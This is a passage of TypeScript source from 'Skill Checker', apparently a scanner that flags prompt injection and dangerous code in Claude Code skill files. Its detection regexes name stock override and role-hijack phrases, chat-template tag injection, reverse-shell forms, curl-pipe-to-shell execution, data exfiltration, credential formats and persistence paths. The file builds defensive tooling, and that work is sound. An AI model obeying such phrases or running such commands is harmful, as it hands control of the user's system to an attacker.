Map<string, number>();\n for (const ch of str) {\n freq.set(ch, (freq.get(ch) ?? 0) + 1);\n }\n\n let entropy = 0;\n const len = str.length;\n for (const count of freq.values()) {\n const p = count / len;\n if (p > 0) {\n entropy -= p * Math.log2(p);\n }\n }\n\n return entropy;\n}\n\n/**\n * Check if a string looks like base64 encoded content.\n */\nexport function isBase64Like(str: string): boolean {\n // Must be at least 50 chars and match base64 pattern\n if (str.length < 50) return false;\n return /^[A-Za-z0-9+/=]{50,}$/.test(str.trim());\n}\n\n/**\n * Check if a string looks like hex encoded content.\n */\nexport function isHexEncoded(str: string): boolean {\n if (str.length < 50) return false;\n return /^(0x)?[0-9a-fA-F]{50,}$/.test(str.trim());\n}\n\n/**\n * Try to decode base64 and check if result contains suspicious content.\n */\nexport function tryDecodeBase64(str: string): string | null {\n try {\n const decoded = Buffer.from(str.trim(), 'base64').toString('utf-8');\n // Check if decoded result is mostly printable\n const printable = decoded.replace(/[^\\x20-\\x7E\\n\\r\\t]/g, '');\n if (printable.length / decoded.length > 0.8) {\n return decoded;\n }\n return null;\n } catch {\n return null;\n }\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\nimport { findZeroWidthChars, findRTLOverrides, findHomoglyphs } from '../utils/unicode.js';\nimport { isBase64Like, tryDecodeBase64 } from '../utils/entropy.js';\n\n/** Patterns that attempt to override system prompts */\nconst SYSTEM_OVERRIDE_PATTERNS = [\n /ignore\\s+(all\\s+)?previous\\s+instructions/i,\n /ignore\\s+(all\\s+)?prior\\s+instructions/i,\n /disregard\\s+(all\\s+)?previous/i,\n /forget\\s+(all\\s+)?previous/i,\n /you\\s+are\\s+now\\s+a\\s+different/i,\n /new\\s+system\\s+prompt/i,\n /override\\s+system\\s+prompt/i,\n /your\\s+new\\s+instructions?\\s+(are|is)/i,\n /from\\s+now\\s+on,?\\s+you\\s+(will|must|should)/i,\n /act\\s+as\\s+(if|though)\\s+your\\s+instructions/i,\n];\n\n/** Patterns that manipulate tool output */\nconst TOOL_MANIPULATION_PATTERNS = [\n /\\bresult\\s*[:=]\\s*[\"']?success/i,\n /tool_result/i,\n /<tool_result>/i,\n /\\breturn\\s+[\"']?(true|success|approved)/i,\n /permissionDecision\\s*[:=]/i,\n];\n\n/** Tag injection patterns */\nconst TAG_INJECTION_PATTERNS = [\n /<system>/i,\n /<\\/system>/i,\n /<\\|im_start\\|>/i,\n /<\\|im_end\\|>/i,\n /<\\|endoftext\\|>/i,\n /<human>/i,\n /<assistant>/i,\n /<\\|system\\|>/i,\n /<\\|user\\|>/i,\n /<\\|assistant\\|>/i,\n];\n\n/** Delimiter confusion patterns */\nconst DELIMITER_PATTERNS = [\n /={5,}/,\n /-{5,}\\s*(system|instruction|prompt)/i,\n /#{3,}\\s*(system|instruction|prompt)/i,\n /\\[SYSTEM\\]/i,\n /\\[INST\\]/i,\n /\\[\\/INST\\]/i,\n];\n\n/** Dangerous role targets for identity hijacking — privilege, jailbreak, or malicious roles */\nconst DANGEROUS_ROLE_PATTERN =\n '(?:(?:an?\\\\s+)?(?:hacker|attacker|cracker|root|admin(?:istrator)?|superuser|unrestricted|jailbroken|evil|malicious|unfiltered|uncensored)\\\\b|DAN\\\\b|(?:a\\\\s+)?different\\\\b)';\n\n/** INJ-010: Identity hijacking patterns (CRITICAL) */\nconst IDENTITY_HIJACKING_PATTERNS = [\n new RegExp(`\\\\byou\\\\s+are\\\\s+now\\\\s+${DANGEROUS_ROLE_PATTERN}`, 'i'),\n new RegExp(`\\\\bact\\\\s+as\\\\s+${DANGEROUS_ROLE_PATTERN}`, 'i'),\n new RegExp(`\\\\bpretend\\\\s+(?:you\\\\s+are|to\\\\s+be)\\\\s+${DANGEROUS_ROLE_PATTERN}`, 'i'),\n new RegExp(`\\\\broleplay\\\\s+(?:as|like)\\\\s+${DANGEROUS_ROLE_PATTERN}`, 'i'),\n new RegExp(`\\\\bassume\\\\s+the\\\\s+role\\\\s+of\\\\s+${DANGEROUS_ROLE_PATTERN}`, 'i'),\n /\\byou\\s+are\\s+no\\s+longer\\s+claude\\b/i,\n /\\bfrom\\s+now\\s+on,?\\s+you\\s+are\\b/i,\n];\n\n/** INJ-010: Deception/secrecy patterns (CRITICAL) */\nconst DECEPTION_SECRECY_PATTERNS = [\n /\\bdo\\s+not\\s+tell\\s+(the\\s+)?(user|human|person|operator)\\b/i,\n /\\bdo\\s+not\\s+(mention|reveal|disclose|expose)\\s+(this|that|the|any|these)\\b/i,\n /\\bnever\\s+(tell|mention|reveal|disclose)\\s+(the\\s+)?(user|human|person|operator)\\b/i,\n /\\bkeep\\s+this\\s+(secret|hidden|private|confidential)\\b(?!\\s+key)/i,\n /\\bhide\\s+this\\s+(from|action|operation|instruction)\\b/i,\n /\\bwithout\\s+(the\\s+)?(user|human)('?s)?\\s+(knowledge|knowing|awareness|consent)\\b/i,\n /\\bsilently\\s+(execute|run|perform|install|download|delete|modify|send)\\b/i,\n];\n\n/** INJ-010: Configuration tampering patterns (HIGH) */\nconst CONFIG_TAMPERING_PATTERNS = [\n /\\b(modify|change|update|edit|alter|rewrite)\\s+(your|my)\\s+(memory|config|configuration|settings?|instructions?|behavior|personality)\\b/i,\n /\\bwrite\\s+to\\s+(CLAUDE\\.md|\\.claude|settings\\.json|memory\\.md)\\b/i,\n /\\b(append|prepend|add|insert)\\s+.{0,30}\\bto\\s+(CLAUDE\\.md|\\.claude|memory\\.md)\\b/i,\n /\\boverwrite\\s+(your|the)\\s+(system|core)\\s+(prompt|instructions?|config)\\b/i,\n /\\bpersist\\s+(this|these|the)\\s+(instruction|change|modification|setting)s?\\b/i,\n];\n\n/** INJ-010: Verification bypass patterns (HIGH) */\nconst VERIFICATION_BYPASS_PATTERNS = [\n /\\btrust\\s+(this|the|these|that|my)\\s+(result|output|response|answer|value|data|input)s?\\b/i,\n /\\bno\\s+need\\s+to\\s+(check|verify|validate|review|confirm|inspect)\\b/i,\n /\\bdo\\s+not\\s+(verify|validate|check|review|confirm|inspect)\\s+(the|this|that|any|these)\\b/i,\n /\\b(assume|consider)\\s+(it|this|that)\\s+(is|to\\s+be)\\s+(correct|safe|valid|trusted|clean|secure|legitimate)\\b/i,\n /\\baccept\\s+(this|the|these|that)\\s+without\\s+(checking|verifying|validating|questioning)\\b/i,\n /\\bblindly\\s+(trust|accept|execute|run|follow|apply)\\b/i,\n];\n\nexport const injectionChecks: CheckModule = {\n name: 'Injection Detection',\n category: 'INJ',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n const fullText = skill.raw;\n\n // INJ-001: Zero-width Unicode characters\n const zeroWidth = findZeroWidthChars(fullText);\n if (zeroWidth.length > 0) {\n results.push({\n id: 'INJ-001',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'Zero-width Unicode characters detected',\n message: `Found ${zeroWidth.length} zero-width character(s): ${zeroWidth.slice(0, 5).map((z) => z.codePoint).join(', ')}. These can hide malicious content.`,\n });\n }\n\n // INJ-002: Homoglyph characters\n const homoglyphs = findHomoglyphs(fullText);\n if (homoglyphs.length > 0) {\n results.push({\n id: 'INJ-002',\n category: 'INJ',\n severity: 'HIGH',\n title: 'Homoglyph characters detected',\n message: `Found ${homoglyphs.length} character(s) that mimic Latin letters (e.g. Cyrillic/Greek). Could be used for spoofing.`,\n snippet: homoglyphs\n .slice(0, 5)\n .map((h) => `\"${h.char}\" looks like \"${h.looksLike}\"`)\n .join(', '),\n });\n }\n\n // INJ-003: RTL override characters\n const rtl = findRTLOverrides(fullText);\n if (rtl.length > 0) {\n results.push({\n id: 'INJ-003',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'RTL override characters detected',\n message: `Found ${rtl.length} RTL/bidirectional override character(s): ${rtl.slice(0, 5).map((r) => r.codePoint).join(', ')}. These can manipulate text display direction.`,\n });\n }\n\n // Check body lines for remaining patterns\n for (let i = 0; i < skill.bodyLines.length; i++) {\n const line = skill.bodyLines[i];\n const lineNum = skill.bodyStartLine + i;\n\n // INJ-004: System prompt override\n for (const pattern of SYSTEM_OVERRIDE_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'INJ-004',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'System prompt override attempt',\n message: `Line ${lineNum}: Attempts to override system instructions.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-005: Tool output manipulation\n for (const pattern of TOOL_MANIPULATION_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'INJ-005',\n category: 'INJ',\n severity: 'HIGH',\n title: 'Tool output manipulation',\n message: `Line ${lineNum}: Attempts to manipulate tool results.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-007: Tag injection\n for (const pattern of TAG_INJECTION_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'INJ-007',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'Tag injection detected',\n message: `Line ${lineNum}: Contains special model/system tags.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-009: Delimiter confusion\n for (const pattern of DELIMITER_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'INJ-009',\n category: 'INJ',\n severity: 'MEDIUM',\n title: 'Delimiter confusion pattern',\n message: `Line ${lineNum}: Uses patterns that could confuse model context boundaries.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-010: Two-line sliding window to catch cross-line splits.\n // Only join when the current line has content — a blank line cannot\n // contribute the prefix of a split pattern and would cause duplicates.\n const trimmedLine = line.trim();\n const nextLine = i + 1 < skill.bodyLines.length ? skill.bodyLines[i + 1] : '';\n const crossLine = trimmedLine && nextLine ? `${line} ${nextLine}` : line;\n\n // INJ-010: Social engineering — identity hijacking (CRITICAL)\n for (const pattern of IDENTITY_HIJACKING_PATTERNS) {\n if (pattern.test(crossLine)) {\n results.push({\n id: 'INJ-010',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'Social engineering: identity hijacking',\n message: `Line ${lineNum}: Attempts to hijack the model's identity.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-010: Social engineering — deception/secrecy (CRITICAL)\n for (const pattern of DECEPTION_SECRECY_PATTERNS) {\n if (pattern.test(crossLine)) {\n results.push({\n id: 'INJ-010',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'Social engineering: deception/secrecy',\n message: `Line ${lineNum}: Instructs the model to hide actions from the user.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-010: Social engineering — configuration tampering (HIGH)\n for (const pattern of CONFIG_TAMPERING_PATTERNS) {\n if (pattern.test(crossLine)) {\n results.push({\n id: 'INJ-010',\n category: 'INJ',\n severity: 'HIGH',\n title: 'Social engineering: configuration tampering',\n message: `Line ${lineNum}: Attempts to tamper with model configuration or memory.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // INJ-010: Social engineering — verification bypass (HIGH)\n for (const pattern of VERIFICATION_BYPASS_PATTERNS) {\n if (pattern.test(crossLine)) {\n results.push({\n id: 'INJ-010',\n category: 'INJ',\n severity: 'HIGH',\n title: 'Social engineering: verification bypass',\n message: `Line ${lineNum}: Attempts to bypass verification or validation.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n }\n\n // INJ-006: Hidden instructions in HTML/Markdown comments\n const commentRegex = /<!--([\\s\\S]*?)-->/g;\n let commentMatch;\n while ((commentMatch = commentRegex.exec(fullText)) !== null) {\n const commentBody = commentMatch[1];\n if (hasInstructionLikeContent(commentBody)) {\n const lineNum = fullText.slice(0, commentMatch.index).split('\\n').length;\n results.push({\n id: 'INJ-006',\n category: 'INJ',\n severity: 'HIGH',\n title: 'Hidden instructions in HTML comment',\n message: `Line ${lineNum}: HTML comment contains instruction-like content.`,\n line: lineNum,\n snippet: commentBody.trim().slice(0, 120),\n });\n }\n }\n\n // INJ-008: Encoded instructions (base64 in body)\n const base64Regex = /[A-Za-z0-9+/=]{60,}/g;\n let b64Match;\n while ((b64Match = base64Regex.exec(skill.body)) !== null) {\n const candidate = b64Match[0];\n if (isBase64Like(candidate)) {\n const decoded = tryDecodeBase64(candidate);\n if (decoded && hasInstructionLikeContent(decoded)) {\n const lineNum =\n skill.bodyStartLine +\n skill.body.slice(0, b64Match.index).split('\\n').length -\n 1;\n results.push({\n id: 'INJ-008',\n category: 'INJ',\n severity: 'CRITICAL',\n title: 'Encoded instructions detected',\n message: `Line ${lineNum}: Base64 string decodes to instruction-like content.`,\n line: lineNum,\n snippet: decoded.slice(0, 120),\n });\n }\n }\n }\n\n // Deduplicate by id+line\n return dedup(results);\n },\n};\n\nfunction hasInstructionLikeContent(text: string): boolean {\n const instructionPatterns = [\n /you\\s+(must|should|will|are)/i,\n /ignore\\s+previous/i,\n /execute\\s+the\\s+following/i,\n /run\\s+this\\s+command/i,\n /\\bsudo\\b/i,\n /\\brm\\s+-rf\\b/i,\n /\\bcurl\\b.*\\bsh\\b/i,\n /\\beval\\b/i,\n /\\bexec\\b/i,\n /\\bdo\\s+not\\s+tell\\s+(the\\s+)?(user|human)/i,\n /\\bpretend\\s+(you\\s+are|to\\s+be)/i,\n /\\bsilently\\s+(execute|run|install)/i,\n ];\n return instructionPatterns.some((p) => p.test(text));\n}\n\nfunction dedup(results: CheckResult[]): CheckResult[] {\n const seen = new Set<string>();\n return results.filter((r) => {\n const key = `${r.id}:${r.line ?? ''}`;\n if (seen.has(key)) return false;\n seen.add(key);\n return true;\n });\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill, Severity } from '../types.js';\nimport { reduceSeverity } from '../types.js';\nimport { shannonEntropy, isBase64Like, isHexEncoded } from '../utils/entropy.js';\nimport { isInDocumentationContext, isInCodeBlock } from '../utils/context.js';\n\n/** Dangerous eval/exec patterns */\nconst EVAL_PATTERNS = [\n /\\beval\\s*\\(/,\n /\\bexec\\s*\\(/,\n /\\bnew\\s+Function\\s*\\(/,\n /\\bsetTimeout\\s*\\(\\s*[\"'`]/,\n /\\bsetInterval\\s*\\(\\s*[\"'`]/,\n];\n\n/** Shell execution patterns */\nconst SHELL_EXEC_PATTERNS = [\n /\\bchild_process\\b/,\n /\\bexecSync\\b/,\n /\\bspawnSync\\b/,\n /\\bos\\.system\\s*\\(/,\n /\\bsubprocess\\.(run|call|Popen)\\s*\\(/,\n /(?<!\\bplatform\\.)\\bsystem\\s*\\(/, // exclude platform.system()\n /`[^`]*\\$\\([^)]+\\)[^`]*`/, // backtick with command substitution\n];\n\n/**\n * Patterns that look like shell execution but are actually\n * read-only system info queries (not dangerous).\n */\nconst SHELL_EXEC_FALSE_POSITIVES = [\n /\\bplatform\\.system\\s*\\(\\s*\\)/, // Python: just reads OS name\n];\n\n/** Destructive file operations */\nconst DESTRUCTIVE_PATTERNS = [\n /\\brm\\s+-rf\\b/,\n /\\brm\\s+-r\\b/,\n /\\brmdir\\b/,\n /\\bunlink\\s*\\(/,\n /\\bfs\\.rm(Sync)?\\s*\\(/,\n /\\bshutil\\.rmtree\\s*\\(/,\n /\\bdel\\s+\\/[sf]/i,\n /\\bformat\\s+[a-z]:/i,\n];\n\n/** Network request patterns with hardcoded URLs */\nconst NETWORK_PATTERNS = [\n /\\bfetch\\s*\\(\\s*[\"'`]https?:\\/\\//,\n /\\baxios\\.(get|post|put|delete)\\s*\\(\\s*[\"'`]https?:\\/\\//,\n /\\bcurl\\s+/,\n /\\bwget\\s+/,\n /\\brequests?\\.(get|post)\\s*\\(/,\n /\\bhttp\\.get\\s*\\(/,\n /\\bURLSession\\b/,\n];\n\n/** File write outside expected directory */\nconst FILE_WRITE_PATTERNS = [\n /\\bfs\\.writeFile(Sync)?\\s*\\(\\s*[\"'`]\\//,\n /\\bopen\\s*\\(\\s*[\"'`]\\/[^\"'`]+[\"'`]\\s*,\\s*[\"'`]w/,\n />\\s*\\/etc\\//,\n />\\s*\\/usr\\//,\n />\\s*~\\//,\n />\\s*\\$HOME\\//,\n];\n\n/** Environment variable access */\nconst ENV_ACCESS_PATTERNS = [\n /process\\.env\\b/,\n /\\bos\\.environ\\b/,\n /\\bgetenv\\s*\\(/,\n /\\$\\{?\\w*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API_KEY)\\w*\\}?/i,\n];\n\n/** CODE-014 reverse shell patterns */\nconst REVERSE_SHELL_PATTERNS = [\n /\\/dev\\/tcp\\/[\\w.-]+\\/\\d+/, // bash -i >& /dev/tcp/host/port 0>&1\n /\\bnc(?:at)?\\b[^\\n]*\\s-(?:e|c)\\s+/, // nc -e /bin/sh host port\n /\\bncat\\b[^\\n]*\\s--exec\\b/, // ncat --exec /bin/sh host port\n /\\bsocket\\.socket\\s*\\([^)]*\\)[\\s\\S]*\\.(?:connect|connect_ex)\\s*\\([^)]*\\)[\\s\\S]*os\\.dup2\\s*\\([^)]*\\)[\\s\\S]*(?:subprocess\\.(?:call|run|Popen)|os\\.system)\\s*\\(/,\n /\\bphp\\b[^\\n]*\\bfsockopen\\s*\\([^)]*\\)[\\s\\S]*\\b(?:exec|shell_exec|system|passthru)\\s*\\(/,\n /\\bperl\\b[^\\n]*\\bSocket\\b[\\s\\S]*\\bconnect\\s*\\([^)]*\\)[\\s\\S]*\\bexec\\s*\\(/,\n];\n\n/** CODE-015 remote execution and exfiltration patterns */\nconst REMOTE_PIPELINE_EXEC_PATTERNS = [\n /\\bcurl\\b[^\\n|]*https?:\\/\\/[^\\s|]+[^\\n]*\\|\\s*(?:sh|bash|zsh|ksh|ash)\\b/i,\n /\\bwget\\b[^\\n|]*https?:\\/\\/[^\\s|]+[^\\n]*\\|\\s*(?:sh|bash|zsh|ksh|ash)\\b/i,\n /\\bcurl\\b[^\\n|]*https?:\\/\\/[^\\s|]+[^\\n]*\\|\\s*(?:python|python3|node)\\b/i,\n /\\bwget\\b[^\\n|]*https?:\\/\\/[^\\s|]+[^\\n]*\\|\\s*(?:python|python3|node)\\b/i,\n];\n\nconst DATA_EXFIL_PATTERNS = [\n /\\bcurl\\b[^\\n]*(?:-d|--data|--data-binary|--data-raw)\\s+@(?:[^\\s'\"`]+|[\"'`][^\"'`]+[\"'`])/i,\n /\\bcurl\\b[^\\n]*(?:-F|--form)\\s+[^\\s=]+=@(?:[^\\s'\"`]+|[\"'`][^\"'`]+[\"'`])/i,\n /\\bwget\\b[^\\n]*--post-file(?:=|\\s+)(?:[^\\s'\"`]+|[\"'`][^\"'`]+[\"'`])/i,\n];\n\n/** Dynamic code generation */\nconst DYNAMIC_CODE_PATTERNS = [\n /\\bcompile\\s*\\(/,\n /\\bcodegen\\b/i,\n /\\bimport\\s*\\(\\s*[^\"'`\\s]/,\n /\\brequire\\s*\\(\\s*[^\"'`\\s]/,\n /\\b__import__\\s*\\(/,\n];\n\nconst PROVIDER_CREDENTIAL_PATTERNS: Array<{ pattern: RegExp; title: string }> = [\n {\n pattern: /\\bsk-ant-api03-[A-Za-z0-9_-]{20,}\\b/,\n title: 'Anthropic API key exposure',\n },\n {\n pattern: /\\bsk-proj-[A-Za-z0-9_-]{20,}\\b/,\n title: 'OpenAI project key exposure',\n },\n {\n pattern: /\\bxox[bps]-[A-Za-z0-9-]{20,}\\b/,\n title: 'Slack token exposure',\n },\n {\n pattern: /\\bAKIA[0-9A-Z]{16}\\b/,\n title: 'AWS access key exposure',\n },\n {\n pattern: /\\bgh[op]_[A-Za-z0-9]{20,}\\b/,\n title: 'GitHub token exposure',\n },\n {\n pattern: /\\bgithub_pat_[A-Za-z0-9_]{20,}\\b/,\n title: 'GitHub fine-grained token exposure',\n },\n];\n\n/** CODE-013 restricted sk-* fallback */\nconst OPENAI_SK_FALLBACK_PATTERN = /\\bsk-[A-Za-z0-9_-]{20,}\\b/;\n\nconst CREDENTIAL_NAME_TOKENS = new Set([\n 'api',\n 'key',\n 'token',\n 'secret',\n 'password',\n 'credential',\n]);\n\nconst CREDENTIAL_COMPOUND_NAMES = new Set([\n 'apikey',\n 'apitoken',\n 'accesskey',\n 'accesstoken',\n 'secretkey',\n 'secrettoken',\n]);\n\nconst CREDENTIAL_EQUALS_PATTERN =\n /\\b([A-Za-z0-9_-]+)\\b\\s*=\\s*[\"'`]?([A-Za-z0-9._~+/=\\-]{20,})/i;\n\nconst CREDENTIAL_KEY_VALUE_PATTERN =\n /^\\s*[\"'`]?([A-Za-z0-9_-]+)[\"'`]?\\s*:\\s*[\"'`]?([A-Za-z0-9._~+/=\\-]{20,})/i;\n\nconst AUTHORIZATION_BEARER_PATTERN =\n /\\bAuthorization\\b\\s*:\\s*Bearer\\s+([A-Za-z0-9._~+/=\\-]{20,})/i;\n\nconst X_API_KEY_PATTERN =\n /\\bx-api-key\\b\\s*:\\s*([A-Za-z0-9._~+/=\\-]{20,})/i;\n\nconst CREDENTIAL_MIN_LENGTH = 20;\nconst CREDENTIAL_MIN_ENTROPY = 4.5;\n\n/** Permission escalation */\nconst PERMISSION_PATTERNS = [\n /\\bchmod\\s+[+0-9]/,\n /\\bchown\\b/,\n /\\bsudo\\b/,\n /\\bdoas\\b/,\n /\\bsetuid\\b/,\n /\\bsetgid\\b/,\n];\n\n/** CODE-016: persistence mechanism detection (MITRE ATT&CK TA0003) */\nconst PERSISTENCE_GROUPS: Array<{ patterns: RegExp[]; title: string }> = [\n {\n title: 'Scheduled task persistence (cron)',\n patterns: [\n /\\bcrontab\\b/,\n /\\/etc\\/cron\\.(?:d|hourly|daily|weekly|monthly)\\b/,\n /\\/var\\/spool\\/cron\\b/,\n ],\n },\n {\n title: 'System service persistence (launchd)',\n patterns: [\n /\\bLaunchAgents?\\b/,\n /\\bLaunchDaemons?\\b/,\n /\\blaunchctl\\s+(?:load|bootstrap|submit)\\b/i,\n ],\n },\n {\n title: 'System service persistence (systemd/init.d)',\n patterns: [\n /\\bsystemctl\\s+(?:enable|daemon-reload)\\b/i,\n /\\/etc\\/systemd\\/system\\b/,\n /\\.config\\/systemd\\/user\\b/,\n /\\/etc\\/init\\.d\\b/,\n /\\/etc\\/rc\\.local\\b/,\n /\\bupdate-rc\\.d\\b/,\n /\\bchkconfig\\b.*\\b(?:--add|on)\\b/,\n ],\n },\n {\n title: 'Shell profile modification',\n patterns: [\n /\\.(?:bashrc|bash_profile|bash_login|profile|zshrc|zshenv|zprofile|zlogin)\\b/,\n /\\/etc\\/(?:profile(?:\\.d)?|bash\\.bashrc|zshrc|zshenv)\\b/,\n /\\.config\\/fish\\/config\\.fish\\b/,\n ],\n },\n {\n title: 'Autostart / login item persistence',\n patterns: [\n /\\.config\\/autostart\\b/,\n /\\/etc\\/xdg\\/autostart\\b/,\n /\\bosascript\\b[^\\n]*\\blogin\\s+item\\b/i,\n ],\n },\n {\n title: 'SSH key persistence',\n patterns: [\n /\\.ssh\\/authorized_keys2?\\b/,\n ],\n },\n {\n title: 'Library injection persistence',\n patterns: [\n /\\/etc\\/ld\\.so\\.preload\\b/,\n /\\bLD_PRELOAD\\b/,\n /\\bDYLD_INSERT_LIBRARIES\\b/,\n ],\n },\n {\n title: 'Git hooks manipulation',\n patterns: [\n /\\.git\\/hooks\\/(?:pre-commit|post-commit|pre-push|post-checkout|post-merge|pre-rebase)\\b/,\n /\\bgit\\s+config\\b[^\\n]*\\bcore\\.hooksPath\\b/,\n ],\n },\n {\n title: 'macOS periodic script persistence',\n patterns: [\n /\\/etc\\/periodic\\/(?:daily|weekly|monthly)\\b/,\n ],\n },\n];\n\nexport const codeSafetyChecks: CheckModule = {\n name: 'Code Safety',\n category: 'CODE',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n\n // Collect all text content to scan\n const textSources = getTextSources(skill);\n\n for (const { text, source } of textSources) {\n const lines = text.split('\\n');\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i];\n const lineNum = i + 1;\n const loc = `${source}:${lineNum}`;\n const cbCtx = { lines, index: i };\n\n // CODE-001: eval/exec — always CRITICAL, no code block reduction\n checkPatterns(results, line, EVAL_PATTERNS, {\n id: 'CODE-001',\n severity: 'CRITICAL',\n title: 'eval/exec/Function constructor',\n loc,\n lineNum,\n source,\n });\n\n // CODE-002: shell execution — always CRITICAL, no code block reduction\n if (!SHELL_EXEC_FALSE_POSITIVES.some((p) => p.test(line))) {\n checkPatterns(results, line, SHELL_EXEC_PATTERNS, {\n id: 'CODE-002',\n severity: 'CRITICAL',\n title: 'Shell/subprocess execution',\n loc,\n lineNum,\n source,\n });\n }\n\n // CODE-003: destructive file operations — code block reduction\n checkPatterns(results, line, DESTRUCTIVE_PATTERNS, {\n id: 'CODE-003',\n severity: 'CRITICAL',\n title: 'Destructive file operation',\n loc,\n lineNum,\n source,\n codeBlockCtx: cbCtx,\n });\n\n // CODE-004: hardcoded external URLs — code block reduction\n checkPatterns(results, line, NETWORK_PATTERNS, {\n id: 'CODE-004',\n severity: 'HIGH',\n title: 'Hardcoded external URL/network request',\n loc,\n lineNum,\n source,\n codeBlockCtx: cbCtx,\n });\n\n // CODE-005: file write outside expected dir — no code block reduction\n checkPatterns(results, line, FILE_WRITE_PATTERNS, {\n id: 'CODE-005',\n severity: 'HIGH',\n title: 'File write outside expected directory',\n loc,\n lineNum,\n source,\n });\n\n // CODE-006: env var access — code block reduction\n checkPatterns(results, line, ENV_ACCESS_PATTERNS, {\n id: 'CODE-006',\n severity: 'MEDIUM',\n title: 'Environment variable access',\n loc,\n lineNum,\n source,\n codeBlockCtx: cbCtx,\n });\n\n // CODE-014: reverse shell patterns — always CRITICAL, no code block reduction\n checkPatterns(results, line, REVERSE_SHELL_PATTERNS, {\n id: 'CODE-014',\n severity: 'CRITICAL',\n title: 'Reverse shell pattern',\n loc,\n lineNum,\n source,\n });\n\n // CODE-015: remote pipeline execution / data exfiltration — no code block reduction\n const code015 = detectCode015(line);\n if (code015) {\n results.push({\n id: 'CODE-015',\n category: 'CODE',\n severity: code015.severity,\n title: code015.title,\n message: `At ${loc}: ${line.trim().slice(0, 120)}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n });\n }\n\n // CODE-013: API key/credential leakage — no code block reduction\n const credentialLeak = detectCredentialLeak(line);\n if (credentialLeak) {\n results.push({\n id: 'CODE-013',\n category: 'CODE',\n severity: credentialLeak.severity,\n title: credentialLeak.title,\n message: `At ${loc}: ${line.trim().slice(0, 120)}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n });\n }\n\n // CODE-010: dynamic code generation — no code block reduction\n checkPatterns(results, line, DYNAMIC_CODE_PATTERNS, {\n id: 'CODE-010',\n severity: 'HIGH',\n title: 'Dynamic code generation pattern',\n loc,\n lineNum,\n source,\n });\n\n // CODE-012: permission escalation — skip in documentation context\n // CODE-016: persistence mechanism — skip in documentation context\n const isDoc = isInDocumentationContext(lines, i);\n\n if (!isDoc) {\n checkPatterns(results, line, PERMISSION_PATTERNS, {\n id: 'CODE-012',\n severity: 'HIGH',\n title: 'Permission escalation',\n loc,\n lineNum,\n source,\n });\n }\n\n // CODE-016: persistence mechanism — skip in doc context, code block reduction\n if (!isDoc) {\n for (const group of PERSISTENCE_GROUPS) {\n checkPatterns(results, line, group.patterns, {\n id: 'CODE-016',\n severity: 'HIGH',\n title: group.title,\n loc,\n lineNum,\n source,\n codeBlockCtx: cbCtx,\n });\n }\n }\n }\n\n // Multi-line checks\n scanEncodedStrings(results, text, source);\n scanObfuscation(results, text, source);\n }\n\n return results;\n },\n};\n\ninterface PatternCheckOpts {\n id: string;\n severity: Severity;\n title: string;\n loc: string;\n lineNum: number;\n source: string;\n codeBlockCtx?: { lines: string[]; index: number };\n}\n\nfunction checkPatterns(\n results: CheckResult[],\n line: string,\n patterns: RegExp[],\n opts: PatternCheckOpts\n): void {\n for (const pattern of patterns) {\n if (pattern.test(line)) {\n let severity = opts.severity;\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n if (opts.codeBlockCtx && isInCodeBlock(opts.codeBlockCtx.lines, opts.codeBlockCtx.index)) {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n results.push({\n id: opts.id,\n category: 'CODE',\n severity,\n title: opts.title,\n message: `At ${opts.loc}: ${line.trim().slice(0, 120)}${msgSuffix}`,\n line: opts.lineNum,\n snippet: line.trim().slice(0, 120),\n source: opts.source,\n reducedFrom,\n });\n return; // one match per 